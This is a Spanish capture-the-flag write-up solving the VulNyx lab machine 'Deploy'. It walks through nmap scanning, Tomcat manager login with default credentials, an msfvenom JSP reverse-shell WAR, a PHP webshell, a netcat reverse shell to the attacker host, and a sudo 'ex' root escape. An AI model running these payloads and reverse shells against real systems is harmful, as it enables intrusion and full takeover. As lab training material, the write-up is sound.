🔵 NYX - Deploy

#vulnyx #nyx #linux #tomcat #msfvenom #war #rce #ex (sudo)

Mayo 12, 2023 by Miguel R. (d4t4s3c)

Information

Deploy es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario m0w.

  • Acceso inicial: Encuentro un Tomcat con credenciales por defecto, se accede y carga un archivo .war obteniendo una shell.
  • Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario que permitirá escapar una shell como root.


Enumeration

Nmap

TCP
 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 17:26 CET
Nmap scan report for 192.168.1.44
Host is up (0.000075s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
 nmap -sVC -p22,80,8080 192.168.1.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 17:26 CET
Nmap scan report for 192.168.1.44
Host is up (0.00049s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat

Shell (tomcat)

8080/TCP (HTTP)

Tomcat

Login

Al indentificar que es un Tomcat, me dirijo a la ruta típica /manager_webapp y encuentro el panel de administrador

Accedo al Tomcat realizando técnicas de password guessing y obtengo éxito con tomcat:s3cret

Reverse Shell
Create WAR (Msfvenom)

Creo una reverse shell .war con msfvenom

 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=443 -f war > shell.war
Payload size: 1087 bytes
Final size of war file: 1087 bytes
Upload & Run WAR

Ahora subo el archivo .war y al desplegar obtengo una shell como usuario tomcat

 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.44] 55642
id ; hostname
uid=998(tomcat) gid=998(tomcat) grupos=998(tomcat)
deploy

Shell (sa)

Enumero a los usuarios toor y sa en el archivo /etc/passwd

tomcat@deploy:/$ grep "sh$" /etc/passwd --color
root:x:0:0:root:/root:/bin/bash
toor:x:1000:1000:toor,,,:/home/toor:/bin/bash
sa:x:1001:1001::/home/sa:/usr/bin/bash

En el archivo de configuración de Tomcat llamado /etc/tomcat9/tomcat-users.xml encuentro las credenciales sa:salala!!

tomcat@deploy:/$ cat /etc/tomcat9/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <user username="tomcat" password="s3cret" roles="manager-gui"/>
  <!-- <user username="sa" password="salala!!" roles="manager-gui"/> -->
</tomcat-users>

22/TCP (SSH)

Accedo al sistema con las credenciales obtenidas como usuario sa

 ssh sa@192.168.1.44
sa@192.168.1.44's password: 
Linux deploy 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
sa@deploy:~$ id ; hostname
uid=1001(sa) gid=1001(sa) grupos=1001(sa)
deploy

Shell (toor)

Revisando los procesos del usuario toor, veo que tiene levantando un servidor HTTP Apache2

sa@deploy:~$ ps aux |grep toor
toor         430  0.0  1.1 194300 11156 ?        S    17:24   0:00 /usr/sbin/apache2 -k start
toor         431  0.0  1.1 194300 11552 ?        S    17:24   0:00 /usr/sbin/apache2 -k start
toor         432  0.0  1.1 194300 11428 ?        S    17:24   0:00 /usr/sbin/apache2 -k start
toor         433  0.0  1.1 194292 11416 ?        S    17:24   0:00 /usr/sbin/apache2 -k start
toor         434  0.0  1.1 194300 11424 ?        S    17:24   0:00 /usr/sbin/apache2 -k start
toor         514  0.0  0.9 194244  9804 ?        S    17:28   0:00 /usr/sbin/apache2 -k start

Dispongo de permisos para escribir en la ruta /var/www/html

sa@deploy:~$ ls -laR /var/www/
/var/www/:
total 12
drwxrwxrwx  3 www-data www-data 4096 may 10  2023 .
drwxr-xr-x 12 root     root     4096 may 10  2023 ..
drwxrwxrwx  2 www-data www-data 4096 may 11  2023 html

/var/www/html:
total 20
drwxrwxrwx 2 www-data www-data  4096 may 11  2023 .
drwxrwxrwx 3 www-data www-data  4096 may 10  2023 ..
-rwxrwxrwx 1 www-data www-data 10701 may 10  2023 index.html

Creo una webshell PHP en la ruta del servidor Apache2 y posteriormente hago que sea interpretado

sa@deploy:~$ echo -n '<?php system($_GET["cmd"]); ?>' >/var/www/html/cmd.php
sa@deploy:~$ cat /var/www/html/cmd.php 
<?php system($_GET["cmd"]); ?>

Obtengo una shell como usuario toor

 curl -sX GET "http://192.168.1.44/cmd.php?cmd=nc+192.168.1.10+443+-e+/bin/sh"
 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.44] 35798
id ; hostname 
uid=1000(toor) gid=1000(toor) groups=1000(toor)
deploy

Privilege Escalation

El usuario toor puede ejecutar como root el binario ex con sudo

toor@deploy:/$ sudo -l
Matching Defaults entries for toor on deploy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User toor may run the following commands on deploy:
    (root) NOPASSWD: /usr/bin/ex

En GTFOBins nos dan el one liner para escapar una shell

toor@deploy:/$ sudo -u root /usr/bin/ex

Al ejecutar ex se abre en paginated mode y con !/bin/sh me convierto en usuario root

Entering Ex mode.  Type "visual" to go to Normal mode.
:!/bin/sh

# bash -pi
root@deploy:/# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
deploy

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@deploy:/# find / -name user.txt -o -name root.txt |xargs cat
0cb08***************************
d9bad***************************

Hasta aquí la resolución de la máquina Deploy.

Happy Hacking!


© d4t4s3c 2023-2025

results matching ""

    No results matching ""